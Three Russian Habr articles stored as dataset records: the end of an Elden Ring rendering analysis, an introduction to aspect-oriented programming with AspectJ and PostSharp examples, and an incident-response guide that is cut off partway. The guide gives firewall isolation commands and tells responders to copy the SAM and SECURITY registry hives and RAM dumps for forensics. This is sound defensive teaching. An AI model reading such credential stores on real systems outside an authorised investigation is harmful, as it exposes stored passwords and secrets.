Вполне нормально иметь полностью отдельный аудиопоток и сегодня это совершенно нормально, но он должен синхронизироваться с остальной частью игры. Да, он будет выполняться независимо, но должен иметь *больше* зависимости от потоков игры и графики. Это усложняет архитектуру, увеличивает финансовые и временные затраты на продакшен, вероятно, вызывает больше багов и даже условий гонки (при определённом подходе), но во многих ситуациях это было бы логичнее. Лично я считаю, что ***многопоточность на самом деле не многопоточна, если это многопоточность на 100%*** .
### Ассеты
Хотя движок кажется очень мощным (мы поверхностно рассмотрели только графику, но в движке есть другие великолепные аспекты, например, сетевая часть), я заметил часто встречающийся паттерн: игровым ассетам (я рассматривал графические ассеты, например, модели и текстуры) уделено недостаточно внимания. Например, почти всегда мы видим атласы UI, заполненные сплошным чёрным цветом или даже текстуры, которые никак не используются.
С другой стороны, если взглянуть на 3D-данные, то можно заметить несогласованность между типами, например, часть травы создана в полной детализации (стебли и тому подобное), а другая трава создаётся в виде карт (четырёхугольники с вырезанной альфой). И разница в типах мешей никак не связана с расстоянием до камеры, она кажется очень случайной и несогласованной. Более того, у меня сложилось ощущение, что в большинстве случаев в Elden Ring **никогда не используются LOD** (я могу ошибаться на 50%): 1. я никогда не видел никаких переходов между LOD. Как бы ни был великолепен движок игры, вы всегда можете заметить переходы между LOD, с дизерингом или без. 2. при изучении сцен в каркасном виде (wireframe) можно заметить небольшие части камней, деревьев и прочего, находящиеся очень далеко от окна обзора игрока, а количество вершин меша остаётся тем же, как и с приближением к этим ассетам.
**Объяснение**
***«LOD никогда не используются»*** — это саркастическое преувеличение. В игре есть некая разновидность LOD, но не та, которую можно ожидать от AAA-проекта, и не та, которую можно ожидать в современной игре с открытым миром. Например, в этих руинах разрушенного здания меш выглядит следующим образом:
Это не единый меш, а структура состоит из слоёв мешей, и если не обращать внимания на вьюны и декали, то здание задаётся примерно тремя слоями геометрии.
Даже на расстоянии чуть менее полукилометра эти слои здания и слой маленьких кирпичей всё равно отрисовываются!
Если приблизить предыдущее изображение, то можно увидеть слои в подробностях:
То есть при очень близком расстоянии (почти внутри здания) и при расстоянии в полкилометра используются два меша:
*Готовый кадр*
*Нормали GBuffer*
*Использованный меш (2693 вершины)*
*Готовый кадр*
*Нормали GBuffer*
*Использованный меш (2693 вершины)*
***В обоих случаях рендерится один и тот же меш с одинаковым количеством вершин!***
При таком расстоянии модель в обычном открытом мире должна находиться на LOD2 (третий уровень, наверно) (например, в *[Assassin’s Creed Origins](https://en.wikipedia.org/wiki/Assassin's_Creed_Origins)*). Я оставил сигнатуру меша, а также «индекс кадра» в названии меша, чтобы не запутаться в разных захватах.
Даже мелкие отдельные кирпичи в обоих случаях рендерятся. Полигонов чуть меньше, ноих всё равно очень много для такого расстояния!
*Близко, менее 1,5 километра — 17954 вершины*
*Далеко, больше 1,5 километра — 10025 вершин*
Но если уйти дальше, например, на 1,5 километра, то отрендерится другой меш.
*Готовый кадр*
*Нормали GBuffer*
*Использованный меш (893 вершины)*
Дело в том, что на этом расстоянии (более 1,5 км) большое здание в типичном открытом мире было был заменено на импостор!
Пока мне не удалось найти более чем один уровень деталей в больших мешах (имеющих различные уровни, пока я не увижу меш на экране. В примере с руинами я видел упрощённую версию на всех захватах дальше 1,5 км вплоть до того момента, пока здания полностью стало невидимым.
Повторюсь, такое происходит только когда у мешей есть несколько разных версий (я *не буду* называть их LODs), а в Elden Ring у многих мешей нет версий (LOD)!
Подобные проблемы никогда не связаны с проблемами движка или рендеринга, их причиной является обычная неразбериха в конвейере производства ассетов; кто знает, возможно, это вызвано тем, что на некоторые должности технических художников не нашлось людей! Но если бы у Elden Ring была реальная надёжная команда технических художников (5-8 человек для такой большой игры), то ситуация была бы гораздо лучше и это бы сильно повысило качество и производительность игры.
Но это далеко не значит, что всё, что связано с ассетами и их организацией, сделано плохо! Есть и качественно реализованные аспекты, один из них — это атласы листвы, которые понравились мне больше всего. Можно считать их атласом каждой области или семейства элементов, хранящим в одном атласе все формы листьев деревьев в этой области. Это хорошая идея, они загружаются за раз и используются, пока игрок находится в этой области, от нескольких минут до часа! Ещё мне нравятся решения, связанные с размером «поддерживающих» текстур, например, текстур нормалей.
*Цвет листьев – 4096\*2048 – BC1\_TYPELESS*
*Нормали листьев – 2048\*1024 – BC1\_UNORM*
*Цвет листьев – 2048\*1024 – BC7\_TYPELESS*
*Нормали листьев – 1024\*512 – BC7\_UNORM*
***Мне нравится, когда игра уменьшает текстуру нормалей до половины BaseColor, в длительной перспективе это приводит к большой экономии***!
### Сторонние фреймворки
После того, как я увидел когда-то первый экран заставки (splashscreen), это стало своего рода зависимостью, я изучаю начало каждой игры (а иногда и титры в конце) и замечаю, какие сторонние фреймворки разработчики решили выбрать, чтобы расширить возможности своего игрового движка. Это технологии, ставшие торговыми марками, которые мы видим в начальных заставках во всех играх. Однако при запуске Elden Ring я не увидел ни одной такой заставки. Игра начинается с логотипа BandaiNamco, за которым следует логотип FromSoftware, а затем главное меню игры. А при выходе игра просто показывает чёрный экран. В настройках нет никаких пунктов Credits, позволяющих запустить титры, как это бывает в других играх. Это подразумевает следующее: во-первых, в игре не используются сторонние технологии; во-вторых, движок полностью был создан From Software.
Но ситуация оказалась немного запутанной…
При создании захватов меню игры я заметил атласную текстуру размером 4k\*2K, которая, по сути, была заполнена или текстами лицензий или логотипами сторонних компаний.
Мы видим [Speedtree](https://store.speedtree.com/), [Bink](http://www.radgametools.com/bnkmain.htm), [Havok](https://www.havok.com/), [Oodle](http://www.radgametools.com/oodle.htm), [Wwise](https://www.audiokinetic.com/en/products/wwise). Значит ли это, что эти сторонние технологии использовались в игре? Или это значит, что они использовались на каком-то этапе, возможно, это остатки от старого/предыдущего движка, но теперь они не применяются? Или, возможно, игра использует их на консолях, а здесь они оказались лишь из-за кроссплатформного кода или ошибочной загрузки изображения в 4k не на ту платформу. А может быть, всё гораздо проще — кто-то забыл показывать заставку в нужный момент, а отдел QA это упустил. Остаётся только гадать!
Лично я склоняюсь к последнему варианту, потому что мне удалось найти в установочных файлах игры несколько видеофайлов Bink (\*.bk2).
Если вас интересует блок японского текста, то я его перевёл: это предупреждение о нелегальном распространении без разрешения (не знаю, относится ли оно к игре или к файлам сторонних технологий), но каким бы ни был его контекст, оно никогда не появляется на экране.
Эпилог
======
Помните, что всё сказанное выше — это лишь моя точка зрения после изучения множества захватов GPU, их анализа и реверс-инжиниринга кадров для лучшего их понимания. Я хотел лучше понять решения, принятые при их проектировании. Главная задача для меня — учиться на отличных идеях и ошибках других разработчиков, поэтому помните, что я никого не сужу, а изучаю, так что, как всегда, воспринимайте всё написанное скептически.
Я очень рад, что мне удалось опубликовать эту статью целиком, уже больше десятка лет я делаю захваты игр, в которые играю, но каждый раз, когда пытаюсь что-то написать, на меня наваливаются заботы и статья оказывается в длинном списке незаконченных черновиков. К счастью, на этот раз мне удалось ещё раз добраться до конца статьи, несмотря на то, что я начал анализировать игру спустя пару недель после релиза, то есть написание статьи заняло три месяца (если не больше) полностью занятых выходных (и нескольких бессонных ночей в будни), поэтому не критикуйте меня за опечатки или недосказанности. У меня осталось ещё много набросков, которые я не изложил в этой статье, а некоторые моменты опустил намеренно; другие части ускользнули от моего внимания, но всё, что я изложил в статье — это то, что мне важно, когда я копаюсь в чужих играх для приобретения знаний.
Пусть я и не большой фанат жанра Souls, но мне нравятся работа, мир, истории и лор Миядзаки, и если уж не они заставили меня сыграть в сточасовую игру и попытаться её пройти, так это Мелина, в которую я влюбился с первого взгляда!
Дополнительные статьи и видео
=============================
[What’s new in Direct3D 12](https://docs.microsoft.com/en-us/windows/win32/direct3d12/new-releases)
[What’s New in DirectX 12? Understanding DirectML, DirectX Raytracing and DirectStorage](https://www.techspot.com/article/2137-next-gen-directx-12/)
[Feature levels in Direct3D](https://en.wikipedia.org/wiki/Feature_levels_in_Direct3D)
[DXGI\_FORMAT enumeration](https://docs.microsoft.com/en-us/windows/win32/api/dxgiformat/ne-dxgiformat-dxgi_format)
[Delta – Blog by 64 – Tone Mapping](https://64.github.io/tonemapping/)
[Википедия — тональная коррекция](https://en.wikipedia.org/wiki/Tone_mapping)
[Tone mapping method comparisons](https://www.indigorenderer.com/book/export/html/1196)
[Advanced API Performance: Clears](https://developer.nvidia.com/blog/advanced-api-performance-clears/)
|
https://habr.com/ru/post/668838/
| null |
ru
| null |
# Знакомство с АОП
Парадигмы программирования
--------------------------
В современном мире IT-разработки существует довольно большое множество различных подходов к написанию программ. Так, например, кому-то нравиться представлять программу в виде последовательности действий, а кто-то считает, что программа должна представлять собой множество объектов, общающихся друг с другом. Совокупности этих идей и понятий образуют своего рода стиль написания программы, который принято назвать – [парадигма программирования](http://ru.wikipedia.org/wiki/%D0%9F%D0%B0%D1%80%D0%B0%D0%B4%D0%B8%D0%B3%D0%BC%D0%B0_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F).
У каждой парадигмы есть свои особенности, однако, главным фактором, различающим их, является понятие основной единицы программы. Вот самые популярные из них:
* инструкция (императивное программирование, FORTRAN/C/PHP),
* функция (функциональное программирование, Haskell/Lisp/F#/Scala),
* прототип (прототипное программирование, JavaScript),
* объект (объектно-ориентированное программирование, С++/Java),
* факт (логическое программирование, PROLOG).
Стоит заметить, что в общем случае язык программирования однозначно не определяет используемую парадигму: на том же PHP можно писать как императивные, так и объектно-ориентированные программы.
В этой статье я хочу рассказать о сравнительно молодой, но крайне, на мой взгляд, полезной парадигме программирования – [аспектно-ориентированном программировании](http://en.wikipedia.org/wiki/Aspect-oriented_programming).
Основы АОП
----------
Рассмотри некоторую сферическую службу в вакууме (например, web-сервис), реализующую следующий метод:
> `public BookDTO getBook(Integer bookId) {
>
> BookDTO book = bookDAO.readBook(bookId);
>
> return book;
>
> }`
Метод довольно прост и очевиден: чтение информации о некоторой книге по её идентификатору. Но давайте подумаем, чего тут не хватает? Первым делом нам стоит задуматься о логировании – без него, как вы сами понимаете, в web-службе никуда:
> `public BookDTO getBook(Integer bookId) {
>
> **LOG.debug("Call method getBook with id " + bookId);**
>
>
>
> BookDTO book = bookDAO.readBook(bookId);
>
>
>
> **LOG.debug("Book info is: " + book.toString());**
>
> return book;
>
> }`
Далее необходимо реализовать обработку исключений (сделать так, что бы слой служб возвращал соответствующие ему исключения, скрывая исключения нижележащих слоёв):
> `public BookDTO getBook(Integer bookId) **throws ServiceException** {
>
> LOG.debug("Call method getBook with id " + bookId);
>
> BookDTO book = null;
>
>
>
> **try {**
>
> book = bookDAO.readBook(bookId);
>
> **} catch(SQLException e) {
>
> throw new ServiceException(e);
>
> }**
>
>
>
> LOG.debug("Book info is: " + book.toString());
>
> return book;
>
> }`
Так же не стоит забывать о проверке прав доступа:
> `public BookDTO getBook(Integer bookId) throws ServiceException, **AuthException** {
>
> **if (!SecurityContext.getUser().hasRight("GetBook"))
>
> throw new AuthException("Permission Denied");**
>
>
>
> LOG.debug("Call method getBook with id " + bookId);
>
> BookDTO book = null;
>
>
>
> try {
>
> book = bookDAO.readBook(bookId);
>
> } catch(SQLException e) {
>
> throw new ServiceException(e);
>
> }
>
>
>
> LOG.debug("Book info is: " + book.toString());
>
> return book;
>
> }`
Кроме того имеет смысл кешировать результат работы:
> `public BookDTO getBook(Integer bookId) throws ServiceException, AuthException {
>
> if (!SecurityContext.getUser().hasRight("GetBook"))
>
> throw new AuthException("Permission Denied");
>
>
>
> LOG.debug("Call method getBook with id " + bookId);
>
> BookDTO book = null;
>
> **String cacheKey = "getBook:" + bookId;**
>
>
>
> try {
>
> **if (cache.contains(cacheKey)) {
>
> book = (BookDTO) cache.get(cacheKey);
>
> } else {**
>
> book = bookDAO.readBook(bookId);
>
> **cache.put(cacheKey, book);
>
> }**
>
> } catch(SQLException e) {
>
> throw new ServiceException(e);
>
> }
>
>
>
> LOG.debug("Book info is: " + book.toString());
>
> return book;
>
> }`
Можно продолжать совершенствовать данный метод, но для начала — достаточно. В ходе наших доработок мы получили метод в 10 раз (с 2 до 20 LOC) превышающий исходный размер. Самое интересное, что объём бизнес-логики в нём не изменился – это всё та же 1 строка. Остальной код реализует некоторую общую служебную функциональность приложения: логирование, обработку ошибок, проверку прав доступа, кеширование и так далее.
В принципе, переплетение бизнес-логики со служебным функционалом не так страшно, пока ваше приложение невелико. Однако, чем сложнее становится программа, тем более тщательно следует подходить к её архитектуре в целом и выделении общей функциональности в частности. Именно поэтому, наблюдая за эволюцией языков программирования, сначала мы видим появление функций, потом модулей, затем объектов. Однако, практика показывает, что для выделения некоторой общей функциональности, упомянутых выше парадигм недостаточно. Такую функциональность называют «сквозной» или «разбросанной», в виду того, что её реализация действительно разбросана по разным частям приложения. Примерами сквозной функциональности, как мы уже видели выше, могут служить:
* логирование,
* обработка транзакций,
* обработка ошибок,
* авторизация и проверка прав,
* кэширование,
* элементы [контрактного программирования](http://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BD%D1%82%D1%80%D0%B0%D0%BA%D1%82%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5).
**Основной задачей аспектно-ориентированного программирования (АОП) является модуляризация сквозной функциональности, выделение её в аспекты**. Для этого языки, поддерживающие концепцию АОП, реализуют следующие средства для выделения сквозной функциональности:
* аспект (aspect) – модуль или класс, реализующий сквозную функциональность. Аспект изменяет поведение остального кода, применяя совет в точках соединения, определённых некоторым срезом. Так же аспект может использоваться для внедрения функциональности;
* совет (advice) – дополнительная логика — код, который должен быть вызван из точки соединения. Совет может быть выполнен до, после или вместо точки соединения;
* точка соединения (join point) — точка в выполняемой программе (вызов метода, создание объекта, обращение к переменной), где следует применить совет ;
* срез (pointcut) — набор точек соединения. Срез определяет, подходит ли данная точка соединения к заданному совету;
* внедрение (introduction) — изменение структуры класса и/или изменение иерархии наследования для добавления функциональности аспекта в инородный код;
* цель (target) – объект, к которому будут применяться советы;
* переплетение (weaving) – связывание объектов с соответствующими аспектами (возможно на этапе компиляции, загрузки или выполнения программы).
Пример использования (AspectJ)
------------------------------
[AspectJ](http://www.eclipse.org/aspectj/) является аспектно-ориентированным расширением/framework’ом для языка Java. На данный момент это, пожалуй, самый популярный и развивающийся АОП движок.
Рассмотрим реализацию аспекта логирования с его помощью:
> `@Aspect
>
> public class WebServiceLogger {
>
> private final static Logger LOG =
>
> Logger.getLogger(WebServiceLogger.class);
>
>
>
> @Pointcut("execution(\* example.WebService.\*(..))")
>
> public void webServiceMethod() { }
>
>
>
> @Pointcut("@annotation(example.Loggable)")
>
> public void loggableMethod() { }
>
>
>
> @Around("webServiceMethod() && loggableMethod()")
>
> public Object logWebServiceCall(ProceedingJoinPoint thisJoinPoint) {
>
> String methodName = thisJoinPoint.getSignature().getName();
>
> Object[] methodArgs = thisJoinPoint.getArgs();
>
>
>
> LOG.debug("Call method " + methodName + " with args " + methodArgs);
>
>
>
> Object result = thisJoinPoint.proceed();
>
>
>
> LOG.debug("Method " + methodName + " returns " + result);
>
>
>
> return result;
>
> }
>
> }`
Первым делом создаётся аспект логирования методов сервисов – класс WebServiceLogger, помеченный аннотацией [Aspect](https://habrahabr.ru/users/aspect/). Далее определяются два среза точек соединения: webServiceMethod (вызов метода, принадлежащего классу WebService) и loggableMethod (вызов метода, помеченного аннотацией @Loggable). В завершении объявляется совет (метод logWebServiceCall), который выполняется вместо (аннотация [Around](https://habrahabr.ru/users/around/)) точек соединения, удовлетворяющих срезу («webServiceMethod() && loggableMethod()»).
В коде совета происходит получение информации о текущем методе (точке соединения), логирование начала выполнения метода, непосредственный вызов запрошенного метода, логирование и возвращение результата работы.
AspectJ обладает довольно большим объёмом поддерживаемых срезов точек соединения. Ниже приведены основные из них:
* execution(static \* com.xyz..\*.\*(..)) – выполнение кода любого статического метода в пакете com.xyz;
* call(void MyInterface.\*(..)) – вызов любого метода, возвращающего void, интерфейса MyInterface;
* initialization(MyClass || MyOtherClass) – инициализация класса MyClass или MyOtherClass;
* staticinitialization(MyClass+ && !MyClass) – статическая инициализация класса, имя которого начинается на MyClass, но не сам MyClass;
* handler(ArrayOutOfBoundsException) – выполнение обработчика исключения ArrayOutOfBoundsException;
* get/set(static int MyClass.x) — чтение / запись свойства x класса MyClass;
* this/target(MyClass) – выполнение точки соединения, соответствующей объекту типа MyClass;
* args(Integer) – выполнение точки соединения, в которой доступен аргумент типа Integer;
* if(thisJoinPoint.getKind().equals(«call»)) – совпадает со всеми точками соединения, в которых заданное выражение истинно;
* within/withincode(MyClass) — совпадает со всеми точками соединения, встречающимися в коде заданного класса;
* cflow/cflowbelow(call(void MyClass.test())) – совпадает со всеми точками соединения, встречающимися в потоке выполнения заданного среза;
* @annotation(MyAnnotation) – выполнение точки соединения, цель которой помечена аннотацией @MyAnnotation.
Что же касается советов, то их количество намного меньше, но они полностью покрывают всё необходимое множество ситуаций:
* before – запуск совета до выполнения точки соединения,
* after returning — запуск совета после нормального выполнения точки соединения,
* after throwing — запуск совета после выброса исключения в процессе выполнения точки соединения,
* after — запуск совета после любого варианта выполнения точки соединения,
* around – запуск совета вместо выполнения точки соединения (выполнение точки соединения может быть вызвано внутри совета).
Подробнее о конструкциях AspectJ можно прочитать в соответствующем разделе [[1](http://www.eclipse.org/aspectj/doc/released/progguide/semantics-pointcuts.html),[2](http://www.eclipse.org/aspectj/doc/released/progguide/quick.html)] [официальной документации](http://www.eclipse.org/aspectj/doc/released/progguide/).
Для того, что бы использовать аспекты AspectJ их придётся скомпилировать и «[вшить](http://www.eclipse.org/aspectj/doc/released/devguide/ltw.html)» в основные классы с помощью специального компилятора [AJC](http://www.eclipse.org/aspectj/doc/released/devguide/ajc-ref.html).
Продукт бесплатный. Распространяется под Eclipse License.
Пример использования (PostSharp)
--------------------------------
[PostSharp](http://www.sharpcrafters.com/postsharp) является аспектно-ориентированным framework’ом для платформы .NET. Существуют и другие реализации АОП для .NET, однако, судя по [сравнениям](http://www.sharpcrafters.com/postsharp/alternatives) с сайта PostSharp, лидирующую позицию занимает именно он.
Рассмотрим, как с помощью него описать аспект обработки исключений. Первым делом необходимо создать класс, расширяющий соответствующий аспект:
> `public class ExceptionDialogAttribute : OnExceptionAspect
>
> {
>
> public override void OnException(MethodExecutionEventArgs eventArgs)
>
> {
>
> string message = eventArgs.Exception.Message;
>
> Window window = Window.GetWindow((DependencyObject)eventArgs.Instance);
>
> MessageBox.Show(window, message, "Exception");
>
> eventArgs.FlowBehavior = FlowBehavior.Continue;
>
> }
>
> }`
Строго говоря, аспекты в терминологии PostSharp – это, как мы можем видеть, аспект и совет в терминологии АОП.
Для того, что бы указать срез точек пересечения для данного аспекта необходимо в файл настроек сборки (AssemblyInfo.cs) добавить следующую строку:
> `[assembly: ExceptionDialog ( AttributeTargetTypes="Example.WorkflowService.\*",
>
> AttributeTargetMemberAttributes = AttributeTargetElements.Public )]`
Или же явно пометить интересующие вас методы атрибутом ExceptionDialog:
> `[ExceptionDialog]
>
> public BookDTO GetBook(Integer bookId)`
Вот собственно и всё: теперь все выброшенные в соответствующих методах исключения будут обрабатываться созданным аспектом.
В виду того, что PostSharp частично склеивает понятия совета и аспекта, последних у него получается довольно немало. Подробно с ними можно познакомиться в [документации](http://doc.sharpcrafters.com/postsharp/2.0/). Ниже приведены основные из них:
* OnMethodBoundary/OnMethodInvocation – обращение к методу (начало, конец, выход, выход с исключением);
* OnFieldAccess – обращение к свойству;
* OnException – обработка исключения;
* Composition – внедрение кода;
Для работы PostSharp’у необходим компилятор и библиотека, которые нужно подключить к проекту. Вшивание аспектов основано на post-обработке байт-кода во время сборки приложения.
Продукт платный. Есть Community Edition.
От теории к практике
--------------------
И так, мы только что увидели, как красиво и эффективно можно решить проблему «выноса за скобки» сквозного функционала в вашем приложении. Однако, это всё теория. На практике всё, естественно, немного иначе :)
Прежде всего, в обоих случаях для компиляции и «вшивания» (weaving) аспектов придётся использовать специальный компилятор и тащить вместе с проектом дополнительные библиотеки. Вроде бы, это не проблема: компилятор легко скачивается и интегрируется в среду (например, при использовании maven’a задача сведётся всего лишь к добавлению плагина aspectj-maven-plugin), а множество зависимостей – обычное дело, по крайней мере для Java-приложений (решаемая с помощью того же maven’a). Однако, необходимость включения в проект чего-то, что требует отдельной компиляции, да ещё и не имеет широкого распространения, зачастую отпугивает разработчиков, не смотря на все потенциальные плюсы.
В данном случае решением проблемы может стать Spring Framework [[1](http://www.springsource.org/about),[2](http://www.springframework.net/)]. Данный фреймворк имеет много достоинств, однако в рамках данной статьи нас интересует его AOP-составляющая. Spring Framework реализует ограниченную [AOP-функциональность](http://static.springsource.org/spring/docs/3.1.0.M1/spring-framework-reference/html/aop.html) на чистом Java (C#) без использования сторонних библиотек с помощью создания прокси-объектов (JDK Dynamic Proxy, CGLIB). Другими словами в Spring AOP можно использовать только точки соединения типа «выполнение метода». Однако, как показывает практика, данное ограничение не играет значительной роли, так как для решения большинства задач, требуется точки соединения именно этого типа.
Кроме того, Spring Framework поддерживает конфигурирование приложений c помощью @AspectJ аннотаций, а так же интеграцию аспектов скомпилированных непосредственно с помощью AspectJ.
У себя в компании мы используем именно Spring AOP. Учитывая прочие заслуги Spring Framework, на мой взгляд, он является самой доступной и удобной площадкой для работы с AOP, внося значительный вклад в его популяризацию и развитие.
Резюме
------
Подводя итоги, хочется выделить три основные мысли относительно АОП:
* Основная цель АОП — выноса «общей» (сквозной) функциональности «за скобки» (модуляризация сквозной функциональности);
* Для Java AOP доступен через проект AspectJ, для .NET – через PostSharp;
* Наиболее простая и проверенная реализация AOP – Spring AOP.
Ссылки по теме
--------------
* [Wikipedia: Парадигма\_программирования](http://ru.wikipedia.org/wiki/Парадигма_программирования)
* [Wikipedia: Аспектно-ориентированное\_программирование](http://ru.wikipedia.org/wiki/Аспектно-ориентированное_программирование)
* [Сайт AspectJ](http://www.eclipse.org/aspectj/)
* [Сайт PostSharp](http://www.sharpcrafters.com/postsharp)
* [Документация по Spring AOP](http://static.springsource.org/spring/docs/current/reference/aop.html)
* [AOP@Work: Мифы и реальность AOP](https://www.ibm.com/developerworks/ru/library/j-aopwork15/)
|
https://habr.com/ru/post/114649/
| null |
ru
| null |
# У нас кибератака. Что делать?
*Краткое руководство о том, как обнаружить атаку на внутреннюю инфраструктуру компании раньше всех и правильно отреагировать на нее*
Число кибератак стремительно растет: если раньше их количество исчислялось десятками в месяц, сейчас насчитывают тысячи инцидентов только за одну неделю: «Касперский» [заявляет](https://www.rbc.ru/technology_and_media/01/04/2022/624699a89a79473501fa15f9) о 8-кратном увеличении числа DDoS-атак на российские организации. В то же время недавнее [исследование](https://www.kommersant.ru/doc/5295096) SearchInform сообщает, что из 900 опрошенных ими компаний 95% ограничиваются только антивирусом в вопросах защиты от кибератак. В таких условиях вероятность столкнуться с инцидентом ИБ значительно выше, чем может показаться. Поэтому все же стоит отбросить сомнения, вроде «да кому наша информация нужна», и заранее разобраться, что делать, если инцидент уже случился.
Как понять, что инцидент случился?
----------------------------------
Из очевидного: мониторить события безопасности антивирусов и межсетевых экранов. Помимо этого, стоит обратить внимание на эти пункты.
1. Запуск ПО, неразрешенного к установке или запуску пользователям. *Пример: если вы видите, что от имени учетной записи бухгалтера открыта сессия в powershell.exe\cmd.exe, это повод для беспокойства.*
2. Неизвестный сетевой трафик. *Пример: обращения узлов к несуществующим dns-серверам.*
3. Активная деятельность пользователя в нерабочее время.
4. Подозрительная загруженность систем. *Пример: аномальная загруженность процессора.*
5. Подозрительные изменения в реестре. *Пример: добавление программ в автозагрузку.*
6. Сообщения о критической системной ошибке и перезагрузка систем. *Это может свидетельствовать о попытках атаки на информационную систему компании.*
7. Аномальная работа с файлами и программами. *Пример: появление зашифрованных файлов или установка стороннего ПО, копирование файлов на внешние носители.*
8. Подозрительное изменение настроек операционной системы, антивирусного и прикладного ПО. *Пример: отключение антивируса на рабочем месте.*
9. Неизвестная активность на электронной почте. *Пример: здесь все просто – спам.*
10. Аномалии в журналах авторизации. *Пример: многократные попытки ввода неверных паролей.*
Обнаружили кибератаку. Что дальше?
----------------------------------
Сначала расставим приоритеты. Для этого нужно оценить уровень критичности скомпрометированных информационных ресурсов и технических средств: критичный, высокий, средний или низкий. От того, насколько серьезен ущерб, зависит количество времени, которое потребуется на расследование, и оперативность принятия решений.
Важный момент: если вы обнаружили кибератаку, ни в коем случае не отключайте технику от питания, это может привести к потере ценных индикаторов, необходимых для расследования, и сбою системы при запуске.
Теперь перейдем непосредственно к реагированию на кибератаку.
**Этап 1.** **Изолируем скомпрометированный участок сети**
В первую очередь, важно минимизировать количество скомпрометированных объектов инфраструктуры, ограничить дальнейшее продвижение злоумышленников по сети.
*Способы изоляции*
* Перенастроить правила на маршрутизирующем оборудовании (в случае вирусной атаки лучше сделать это так, чтобы остался доступ в интернет, а возможность добраться до других машин в локальной сети – нет. Это нужно, чтобы предотвратить самоуничтожение вредоносного ПО и всех следов, которые оно может оставить);
* Настроить правила на уровне межсетевого экрана операционной системы;
* Отключить сетевой кабель;
* Физически разорвать кабель (например, перерезать ножом, такой радикальный способ уместен, если нет быстрого доступа к портам технических средств; возможно, сервер находится в запертом на ключ шкафу).
**Этап 2. Собираем свидетельства инцидента**
На этом этапе важно сохранить как можно больше информации о состоянии инфраструктуры, составить отчет об инциденте и зафиксировать все данные. Это позволит использовать их в качестве юридически значимых свидетельств для привлечения злоумышленников к ответственности.
*Что нужно собрать?*
1. Журналы событий безопасности установленных средств защиты информации. Это возможно, только если в них было настроено логирование событий.
2. Журналы событий операционной системы (лог-файлы, даты создания\модификации файлов). Это нужно, чтобы понять, какие действия в системе были совершены и в какое время: попытки авторизации, запуск приложений и изменение файлов.
3. Дампы оперативной памяти, swap-раздела или pagefile.sys. Позволяет зафиксировать состояние системы в момент инцидента, чтобы можно было проанализировать его, пока система восстанавливается. Если вредоносная программа исполняется, не копируя себя на скомпрометированную систему, эти данные станут единственным доступным источником для расследования инцидента. Если же в систему проник вирус-шифровальщик, из оперативной памяти можно вытащить ключи шифрования для восстановления данных. Кроме того, дамп оперативной памяти покажет, какие действия совершал сотрудник в момент инцидента, это поможет доказать факт утечки данных.
4. Трафик маршрутизаторов и коммутационного оборудования. Эта информация пригодится для определения источника инцидента, уязвимостей, через которые удалось атаковать инфраструктуру, и вектора распространения. В случае утечки, по логам трафика можно понять, какие файлы похитили.
5. Посекторная копия физического диска. Полная копия диска компьютера со всеми журналами, пользовательскими и системными файлами – это возможность восстановить удаленные данные и изучить все связанные с потенциальным вредоносом файлы.
**Этап 3. Восстанавливаем работу системы**
Есть несколько способов это сделать. Все зависит от характера атаки и степени повреждения данных. При выборе метода не стоит забывать о трудозатратах и временных затратах, зачастую утраченная информация стоит меньше, чем потраченные на ее восстановление ресурсы.
*Восстановление данных. Как это сделать?*
* Применить ПО для восстановления удаленной информации. Покупать его может быть невыгодно для компании, стоит оно дорого. Поэтому, если бесплатные решения не смогли восстановить поврежденную информацию, целесообразнее будет обратиться к специалистам.
* Обратиться к специалистам по восстановлению данных.
* Воспользоваться резервными копиями. Самый надежный и простой вариант. Но для этого в компании изначально должно быть настроено резервное копирование.
*Переустановка конфигурации рабочей станции*
На автоматизированном рабочем месте сотрудника рекомендуется полностью переустановить систему и все ПО. Это сэкономит время и деньги на восстановление поврежденных данных.
*Автоматизированные средства удаления вредоносного ПО*
Если причиной инцидента стало вредоносное ПО, можно задействовать сканирование антивирусным программным обеспечением. Если такой возможности нет, используйте отдельные портативные решения, которые решат проблему точечно.
**Этап 4. Расследуем инцидент ИБ**
Лучше по этому вопросу обратиться сразу к специалистам. Чтобы качественно изучить кибератаку, нужно обладать пулом специальных навыков и знаний об устройстве операционных систем, типичных видах атак и их особенностях.
Когда станет понятно, что стало причиной инцидента и где нашлись уязвимости, важно заняться их устранением. Иначе все ресурсы будут потрачены впустую, и за этим инцидентом последуют еще десятки. Это может стать пятым этапом реагирования.
Теперь на практике
------------------
Ждать, пока у вас случится инцидент, чтобы проверить все эти этапы на практике, мы, конечно, не будем. Просто пройдемся по готовому кейсу для понимания
**Инцидент: в систему попал вредоносный файл.**
*Этап 1. Изоляция скомпрометированного участка сети*
Ограничиваем скомпрометированное техническое устройство от локальной сети с сохранением доступа к интернету: настраиваем либо межсетевой экран, либо коммутирующее оборудование. На ОС семейства Windows это можно сделать с помощью команды в netsh:
```
advfirewall firewall add rule name="*TEMPORARY BLOCK*" dir=out protocol=tcp
interface=any action=block remoteip=–
```
Для ОС семейства Linux можно воспользоваться межсетевым экраном iptables:
```
iptables -A FORWARD -s -d -j DROP
```
— сеть, в которой расположен сервер (например, 10.0.2.0/24),
– сеть, в которую запрещен любой доступ с сервера (например,10.0.0.0/24).
*Этап 2. Сбор и сохранение информации для расследования инцидента*
**Первое**. Делаем дампы оперативной памяти (можно с помощью Belkasoft RAM Capturer). Созданные дампы лучше скопировать на диск и сохранить. Его можно будет использовать для приобщения к материалам проверки и для проведения компьютерно-технической экспертизы. Упаковка диска должна быть такой, чтобы к нему невозможно было получить доступ без видимого нарушению.
**Второе**. Копируем лог-файлы. Для ОС семейства Windows мы делаем это так:
1. Запускаем программу «Просмотр событий» (win+r, «eventvwr.msc»).
2. Выбираем необходимый журнал и нажимаем кнопку «Сохранить все события как…» в окне «Действия».
Если так сохранить лог-файлы не получается, можно просто скопировать все файлы из папки «С:/Windows/System32/winevt/Logs».
**Третье**. Сохраняем файлы реестра «SYSTEM», «SOFTWARE», «SAM», «SECURITY» из папки «\Windows\System32\config» и «NTUSER.DAT» из домашней папки пользователя «\Users\<имя учетной записи>\».
**Четвертое**. Сохраняем настроенные расширения браузеров. Их местоположения:
*Google Chrome*
